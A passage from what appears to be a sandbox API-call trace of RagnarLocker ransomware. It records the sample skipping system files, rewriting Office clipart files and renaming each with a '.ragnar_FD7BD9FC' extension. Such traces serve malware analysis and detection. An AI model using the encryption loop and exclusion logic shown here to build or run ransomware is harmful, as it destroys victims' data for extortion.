liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.989] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.989] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xd04, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xd04, lpOverlapped=0x0) returned 1 [0082.989] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.989] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xd04, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.989] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xd04, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xd04, lpOverlapped=0x0) returned 1 [0082.990] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xd04, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.990] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.990] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xd04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.990] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.990] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.990] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.990] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.990] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.990] GetProcessHeap () returned 0x580000 [0082.990] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.990] CloseHandle (hObject=0xf4) returned 1 [0082.990] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF" [0082.990] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF.ragnar_FD7BD9FC" [0082.990] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090777.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090777.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.991] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e07f600, ftCreationTime.dwHighDateTime=0x1bd6ced, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3e07f600, ftLastWriteTime.dwHighDateTime=0x1bd6ced, nFileSizeHigh=0x0, nFileSizeLow=0x5b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090779.WMF", cAlternateFileName="")) returned 1 [0082.991] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.991] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0090779.WMF" | out: lpString1="J0090779.WMF") returned="J0090779.WMF" [0082.991] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF") returned=".WMF" [0082.991] lstrcmpiW (lpString1="J0090779.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.991] lstrcmpiW (lpString1="J0090779.WMF", lpString2="autorun.inf") returned 1 [0082.991] lstrcmpiW (lpString1="J0090779.WMF", lpString2="boot.ini") returned 1 [0082.991] lstrcmpiW (lpString1="J0090779.WMF", lpString2="bootfont.bin") returned 1 [0082.991] lstrcmpiW (lpString1="J0090779.WMF", lpString2="bootsect.bak") returned 1 [0082.991] lstrcmpiW (lpString1="J0090779.WMF", lpString2="bootmgr") returned 1 [0082.991] lstrcmpiW (lpString1="J0090779.WMF", lpString2="bootmgr.efi") returned 1 [0082.991] lstrcmpiW (lpString1="J0090779.WMF", lpString2="bootmgfw.efi") returned 1 [0082.991] lstrcmpiW (lpString1="J0090779.WMF", lpString2="desktop.ini") returned 1 [0082.991] lstrcmpiW (lpString1="J0090779.WMF", lpString2="iconcache.db") returned 1 [0082.991] lstrcmpiW (lpString1="J0090779.WMF", lpString2="ntldr") returned -1 [0082.991] lstrcmpiW (lpString1="J0090779.WMF", lpString2="ntuser.dat") returned -1 [0082.991] lstrcmpiW (lpString1="J0090779.WMF", lpString2="ntuser.dat.log") returned -1 [0082.991] lstrcmpiW (lpString1="J0090779.WMF", lpString2="ntuser.ini") returned -1 [0082.991] lstrcmpiW (lpString1="J0090779.WMF", lpString2="thumbs.db") returned -1 [0082.991] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.991] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.991] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.991] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.992] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.992] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.992] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.992] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090779.wmf")) returned 0x20 [0082.992] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090779.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.992] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1456) returned 1 [0082.992] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5a7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.992] GetProcessHeap () returned 0x580000 [0082.992] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.992] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.994] VirtualAlloc (lpAddress=0x0, dwSize=0x5b0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.994] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.994] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.994] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x5b0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x5b0, lpOverlapped=0x0) returned 1 [0082.994] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.994] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5b0, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.994] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x5b0, lpOverlapped=0x0) returned 1 [0082.994] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5b0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.994] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.994] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5b0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.994] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.994] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.995] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.995] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.995] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.995] GetProcessHeap () returned 0x580000 [0082.995] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.995] CloseHandle (hObject=0xf4) returned 1 [0082.995] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF" [0082.995] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF.ragnar_FD7BD9FC" [0082.995] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090779.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090779.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.998] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e07f600, ftCreationTime.dwHighDateTime=0x1bd6ced, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3e07f600, ftLastWriteTime.dwHighDateTime=0x1bd6ced, nFileSizeHigh=0x0, nFileSizeLow=0x14c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090781.WMF", cAlternateFileName="")) returned 1 [0082.998] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.998] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0090781.WMF" | out: lpString1="J0090781.WMF") returned="J0090781.WMF" [0082.998] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF") returned=".WMF" [0082.998] lstrcmpiW (lpString1="J0090781.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.998] lstrcmpiW (lpString1="J0090781.WMF", lpString2="autorun.inf") returned 1 [0082.998] lstrcmpiW (lpString1="J0090781.WMF", lpString2="boot.ini") returned 1 [0082.998] lstrcmpiW (lpString1="J0090781.WMF", lpString2="bootfont.bin") returned 1 [0082.998] lstrcmpiW (lpString1="J0090781.WMF", lpString2="bootsect.bak") returned 1 [0082.998] lstrcmpiW (lpString1="J0090781.WMF", lpString2="bootmgr") returned 1 [0082.998] lstrcmpiW (lpString1="J0090781.WMF", lpString2="bootmgr.efi") returned 1 [0082.998] lstrcmpiW (lpString1="J0090781.WMF", lpString2="bootmgfw.efi") returned 1 [0082.998] lstrcmpiW (lpString1="J0090781.WMF", lpString2="desktop.ini") returned 1 [0082.998] lstrcmpiW (lpString1="J0090781.WMF", lpString2="iconcache.db") returned 1 [0082.998] lstrcmpiW (lpString1="J0090781.WMF", lpString2="ntldr") returned -1 [0082.998] lstrcmpiW (lpString1="J0090781.WMF", lpString2="ntuser.dat") returned -1 [0082.998] lstrcmpiW (lpString1="J0090781.WMF", lpString2="ntuser.dat.log") returned -1 [0082.998] lstrcmpiW (lpString1="J0090781.WMF", lpString2="ntuser.ini") returned -1 [0082.998] lstrcmpiW (lpString1="J0090781.WMF", lpString2="thumbs.db") returned -1 [0082.998] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.998] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.998] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.998] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.998] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.999] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.999] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.999] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090781.wmf")) returned 0x20 [0082.999] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090781.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.999] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5314) returned 1 [0082.999] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x14b9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.999] GetProcessHeap () returned 0x580000 [0082.999] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.999] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.001] VirtualAlloc (lpAddress=0x0, dwSize=0x14c2, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.001] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.001] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.001] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x14c2, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x14c2, lpOverlapped=0x0) returned 1 [0083.002] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.002] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x14c2, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.002] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x14c2, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x14c2, lpOverlapped=0x0) returned 1 [0083.003] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x14c2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.003] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.003] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x14c2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.003] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.003] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.003] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.003] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.003] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.003] GetProcessHeap () returned 0x580000 [0083.003] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.003] CloseHandle (hObject=0xf4) returned 1 [0083.003] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF" [0083.003] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF.ragnar_FD7BD9FC" [0083.003] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090781.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090781.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.004] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e07f600, ftCreationTime.dwHighDateTime=0x1bd6ced, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3e07f600, ftLastWriteTime.dwHighDateTime=0x1bd6ced, nFileSizeHigh=0x0, nFileSizeLow=0x1b16, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090783.WMF", cAlternateFileName="")) returned 1 [0083.004] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.004] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0090783.WMF" | out: lpString1="J0090783.WMF") returned="J0090783.WMF" [0083.004] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF") returned=".WMF" [0083.004] lstrcmpiW (lpString1="J0090783.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.004] lstrcmpiW (lpString1="J0090783.WMF", lpString2="autorun.inf") returned 1 [0083.004] lstrcmpiW (lpString1="J0090783.WMF", lpString2="boot.ini") returned 1 [0083.004] lstrcmpiW (lpString1="J0090783.WMF", lpString2="bootfont.bin") returned 1 [0083.004] lstrcmpiW (lpString1="J0090783.WMF", lpString2="bootsect.bak") returned 1 [0083.004] lstrcmpiW (lpString1="J0090783.WMF", lpString2="bootmgr") returned 1 [0083.004] lstrcmpiW (lpString1="J0090783.WMF", lpString2="bootmgr.efi") returned 1 [0083.004] lstrcmpiW (lpString1="J0090783.WMF", lpString2="bootmgfw.efi") returned 1 [0083.004] lstrcmpiW (lpString1="J0090783.WMF", lpString2="desktop.ini") returned 1 [0083.004] lstrcmpiW (lpString1="J0090783.WMF", lpString2="iconcache.db") returned 1 [0083.004] lstrcmpiW (lpString1="J0090783.WMF", lpString2="ntldr") returned -1 [0083.004] lstrcmpiW (lpString1="J0090783.WMF", lpString2="ntuser.dat") returned -1 [0083.004] lstrcmpiW (lpString1="J0090783.WMF", lpString2="ntuser.dat.log") returned -1 [0083.004] lstrcmpiW (lpString1="J0090783.WMF", lpString2="ntuser.ini") returned -1 [0083.004] lstrcmpiW (lpString1="J0090783.WMF", lpString2="thumbs.db") returned -1 [0083.004] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.004] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.004] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.004] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.004] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.004] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.004] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.005] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090783.wmf")) returned 0x20 [0083.005] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090783.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.005] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6934) returned 1 [0083.005] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1b0d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.005] GetProcessHeap () returned 0x580000 [0083.005] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.005] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.006] VirtualAlloc (lpAddress=0x0, dwSize=0x1b16, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.007] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.007] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.007] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1b16, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1b16, lpOverlapped=0x0) returned 1 [0083.008] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.008] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1b16, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.008] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1b16, lpNumberOfBytesWritten=0x1eaf30, 